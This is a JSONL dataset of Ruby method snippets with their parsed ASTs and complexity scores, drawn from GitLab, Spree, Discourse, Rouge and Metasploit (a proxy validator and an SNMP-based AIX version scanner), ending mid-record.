{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/pagination/click_house_aggregated_connection.rb","start_line":117,"raw_source":"def build_group_field_conditions(cursor_data, direction, sort_attr, sort_value, sort_field)\n          group_fields = extract_group_by_fields\n          conditions = []\n\n          group_fields.each_with_index do |field, index|\n            field_value = cursor_data['group_by_values'][field]\n            next if field_value.nil? || field == sort_field.to_s\n\n            and_conditions = [sort_attr.eq(sort_value)]\n\n            # Add equality conditions for previous fields\n            add_previous_field_conditions(and_conditions, group_fields, index, cursor_data, sort_field)\n\n            # Add inequality condition for current field\n            field_attr = items.table[field]\n            comparison = direction == :after ? field_attr.gt(field_value) : field_attr.lt(field_value)\n            and_conditions << comparison\n\n            conditions << and_conditions.reduce(:and)\n          end\n\n          conditions\n        end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_group_field_conditions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cursor_data\"]},{\"type\":\"arg\",\"children\":[\"direction\"]},{\"type\":\"arg\",\"children\":[\"sort_attr\"]},{\"type\":\"arg\",\"children\":[\"sort_value\"]},{\"type\":\"arg\",\"children\":[\"sort_field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_fields\",{\"type\":\"send\",\"children\":[null,\"extract_group_by_fields\"]}]},{\"type\":\"lvasgn\",\"children\":[\"conditions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_fields\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cursor_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_by_values\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_field\"]},\"to_s\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"and_conditions\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_attr\"]},\"eq\",{\"type\":\"lvar\",\"children\":[\"sort_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_previous_field_conditions\",{\"type\":\"lvar\",\"children\":[\"and_conditions\"]},{\"type\":\"lvar\",\"children\":[\"group_fields\"]},{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"lvar\",\"children\":[\"cursor_data\"]},{\"type\":\"lvar\",\"children\":[\"sort_field\"]}]},{\"type\":\"lvasgn\",\"children\":[\"field_attr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"items\"]},\"table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comparison\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"direction\"]},\"==\",{\"type\":\"sym\",\"children\":[\"after\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_attr\"]},\"gt\",{\"type\":\"lvar\",\"children\":[\"field_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_attr\"]},\"lt\",{\"type\":\"lvar\",\"children\":[\"field_value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"and_conditions\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"comparison\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"and_conditions\"]},\"reduce\",{\"type\":\"sym\",\"children\":[\"and\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"conditions\"]}]}]}","id":"cdf78cbe-36c1-4062-b83a-0f92dd91ee72"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/payment/processing.rb","start_line":98,"raw_source":"def handle_payment_preconditions\n        unless block_given?\n          raise ArgumentError, 'handle_payment_preconditions must be called with a block'\n        end\n\n        if payment_method&.source_required?\n          if source\n            unless processing?\n              if payment_method.supports?(source) || token_based?\n                yield\n              else\n                invalidate!\n                raise Core::GatewayError, Spree.t(:payment_method_not_supported)\n              end\n            end\n          else\n            raise Core::GatewayError, Spree.t(:payment_processing_failed)\n          end\n        end\n      end","complexity_score":28.3,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_payment_preconditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"handle_payment_preconditions must be called with a block\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payment_method\"]},\"source_required?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processing?\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payment_method\"]},\"supports?\",{\"type\":\"send\",\"children\":[null,\"source\"]}]},{\"type\":\"send\",\"children\":[null,\"token_based?\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalidate!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Core\"]},\"GatewayError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"payment_method_not_supported\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Core\"]},\"GatewayError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"payment_processing_failed\"]}]}]}]},null]}]}]}","id":"89836b44-0d80-44c5-9fd3-a10d32539d69"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_field.rb","start_line":46,"raw_source":"def update_required_fields_version\n    return if !for_all_users?\n\n    UserRequiredFieldsVersion.create\n    Discourse.request_refresh!\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_required_fields_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_all_users?\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserRequiredFieldsVersion\"]},\"create\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"request_refresh!\"]}]}]}","id":"5bc09593-d092-4810-b211-5e2f320816fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/opt_proxies.rb","start_line":24,"raw_source":"def valid?(value, check_empty: true, datastore: nil)\n    return false if check_empty && empty_required_value?(value)\n\n    begin\n      Rex::Socket::Proxies.parse(value)\n    rescue Rex::RuntimeError\n      return false\n    end\n\n    true\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"check_empty\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"datastore\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_empty\"]},{\"type\":\"send\",\"children\":[null,\"empty_required_value?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"Proxies\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"RuntimeError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"a8f63462-b897-4df1-8871-ec637c955735"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_import/project_creator.rb","start_line":35,"raw_source":"def skip_wiki\n        repo.has_wiki?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_wiki\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repo\"]},\"has_wiki?\"]}]}","id":"f218568f-17ac-4b43-a7ae-279c336d41a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/snmp/aix_version.rb","start_line":29,"raw_source":"def run_host(ip)\n    snmp = connect_snmp\n\n    value = snmp.get_value('sysDescr.0')\n\n    unless value =~ /AIX/\n      print_error(\"#{ip} system is not AIX: #{value}\")\n      return\n    end\n\n    value = value.split(\"\\n\")\n    description = value[0].strip\n    value = value[2].split(':')\n\n    value = value[1].strip\n    value = value.split('.')\n\n    value[0] = value[0].to_i\n    value[1] = value[1].to_i\n    value[2] = value[2].to_i\n    value[3] = value[3].to_i\n\n    version = \"#{value[0]}.#{value[1]}.#{value[2]}.#{value[3]}\"\n\n    report_note(\n      host: ip,\n      proto: 'udp',\n      sname: 'snmp',\n      port: datastore['RPORT'],\n      type: 'AIX',\n      data: { version: version }\n    )\n\n    status = \"#{ip} (#{description}) is running: \"\n    status << \"IBM AIX Version #{value[0]}.#{value[1]}.#{value[3]} \"\n    status << \"(#{version})\"\n\n    print_status(status)\n  rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout\n    # No need to make noise about timeouts\n  rescue ::SNMP::UnsupportedVersion => e\n    vprint_error(e.message)\n  rescue ::Interrupt\n    raise $ERROR_INFO\n  rescue StandardError => e\n    print_error(\"#{ip} #{e.class}, #{e.message}\")\n  ensure\n    disconnect_snmp\n  end","complexity_score":74.15,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"snmp\",{\"type\":\"send\",\"children\":[null,\"connect_snmp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snmp\"]},\"get_value\",{\"type\":\"str\",\"children\":[\"sysDescr.0\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"AIX\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" system is not AIX: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]=\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]=\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]=\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sname\"]},{\"type\":\"str\",\"children\":[\"snmp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"AIX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"str\",\"children\":[\") is running: \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"IBM AIX Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"RequestTimeout\"]}]},null,null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"UnsupportedVersion\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect_snmp\"]}]}]}","id":"13e8fe4c-b6d8-462f-8c02-701a78072ce8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/banzai/reference_parser/work_item_parser_spec.rb","start_line":36,"raw_source":"def work_item_link(work_item)\n      Nokogiri::HTML.fragment(%(<a data-work-item=\"#{work_item.id}\"></a>)).children[0]\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"work_item_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"fragment\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<a data-work-item=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"></a>\"]}]}]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"3b0af797-4bf8-43d5-9fed-ea6b4a6d2d8d"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":45,"raw_source":"def initialize(name, &defn)\n        @name = name\n        @defn = defn\n        @rules = []\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"blockarg\",\"children\":[\"defn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@defn\",{\"type\":\"lvar\",\"children\":[\"defn\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rules\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"edcef54a-b67c-477f-ac93-dc65a5e0c521"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/click_house/migrate/main/20250521061220_create_user_add_on_assignments_history_with_mv.rb","start_line":4,"raw_source":"def up\n    execute <<~SQL\n      CREATE TABLE IF NOT EXISTS user_addon_assignments_history\n      (\n        assignment_id UInt64,\n        namespace_path String DEFAULT '0/',\n        user_id UInt64,\n        purchase_id UInt64,\n        add_on_name String,\n        assigned_at AggregateFunction(min, Nullable(DateTime64(6, 'UTC'))),\n        revoked_at AggregateFunction(max, Nullable(DateTime64(6, 'UTC')))\n      )\n      ENGINE = AggregatingMergeTree()\n      ORDER BY (namespace_path, user_id, assignment_id)\n    SQL\n\n    execute <<~SQL\n      CREATE TABLE IF NOT EXISTS subscription_user_add_on_assignment_versions\n      (\n        id UInt64,\n        organization_id UInt64,\n        item_id UInt64,\n        user_id UInt64,\n        purchase_id UInt64,\n        namespace_path String,\n        add_on_name String,\n        event String,\n        created_at DateTime64(6, 'UTC'),\n        version DateTime64(6, 'UTC') DEFAULT NOW(),\n        deleted Boolean DEFAULT false\n      )\n      ENGINE = ReplacingMergeTree(version, deleted)\n      ORDER BY (namespace_path, user_id, item_id, event, id)\n    SQL\n\n    execute <<~SQL\n      CREATE MATERIALIZED VIEW user_addon_assignments_history_mv TO user_addon_assignments_history AS\n          SELECT\n          item_id as assignment_id,\n          namespace_path,\n          purchase_id,\n          add_on_name,\n          user_id,\n          minState(CASE WHEN event = 'create' THEN created_at ELSE NULL END) as assigned_at,\n          maxState(CASE WHEN event = 'destroy' THEN created_at ELSE NULL END) as revoked_at\n          FROM subscription_user_add_on_assignment_versions\n          GROUP BY item_id, namespace_path, user_id, purchase_id, add_on_name\n    SQL\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS user_addon_assignments_history\\n\"]},{\"type\":\"str\",\"children\":[\"(\\n\"]},{\"type\":\"str\",\"children\":[\"  assignment_id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  namespace_path String DEFAULT '0/',\\n\"]},{\"type\":\"str\",\"children\":[\"  user_id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  purchase_id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  add_on_name String,\\n\"]},{\"type\":\"str\",\"children\":[\"  assigned_at AggregateFunction(min, Nullable(DateTime64(6, 'UTC'))),\\n\"]},{\"type\":\"str\",\"children\":[\"  revoked_at AggregateFunction(max, Nullable(DateTime64(6, 'UTC')))\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"ENGINE = AggregatingMergeTree()\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY (namespace_path, user_id, assignment_id)\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS subscription_user_add_on_assignment_versions\\n\"]},{\"type\":\"str\",\"children\":[\"(\\n\"]},{\"type\":\"str\",\"children\":[\"  id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  organization_id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  item_id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  user_id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  purchase_id UInt64,\\n\"]},{\"type\":\"str\",\"children\":[\"  namespace_path String,\\n\"]},{\"type\":\"str\",\"children\":[\"  add_on_name String,\\n\"]},{\"type\":\"str\",\"children\":[\"  event String,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at DateTime64(6, 'UTC'),\\n\"]},{\"type\":\"str\",\"children\":[\"  version DateTime64(6, 'UTC') DEFAULT NOW(),\\n\"]},{\"type\":\"str\",\"children\":[\"  deleted Boolean DEFAULT false\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"ENGINE = ReplacingMergeTree(version, deleted)\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY (namespace_path, user_id, item_id, event, id)\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE MATERIALIZED VIEW user_addon_assignments_history_mv TO user_addon_assignments_history AS\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"    item_id as assignment_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    namespace_path,\\n\"]},{\"type\":\"str\",\"children\":[\"    purchase_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    add_on_name,\\n\"]},{\"type\":\"str\",\"children\":[\"    user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    minState(CASE WHEN event = 'create' THEN created_at ELSE NULL END) as assigned_at,\\n\"]},{\"type\":\"str\",\"children\":[\"    maxState(CASE WHEN event = 'destroy' THEN created_at ELSE NULL END) as revoked_at\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM subscription_user_add_on_assignment_versions\\n\"]},{\"type\":\"str\",\"children\":[\"    GROUP BY item_id, namespace_path, user_id, purchase_id, add_on_name\\n\"]}]}]}]}]}","id":"b291fa73-4f65-4d6d-b711-9b82327ad9e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_partitioned_uploads_spec.rb","start_line":624,"raw_source":"def create_vulnerability_export_part_upload(model: nil, delete_model: false)\n    model ||= create_vulnerability_export_part\n    create_upload('Vulnerabilities::Export::Part', model, delete_model: delete_model)\n  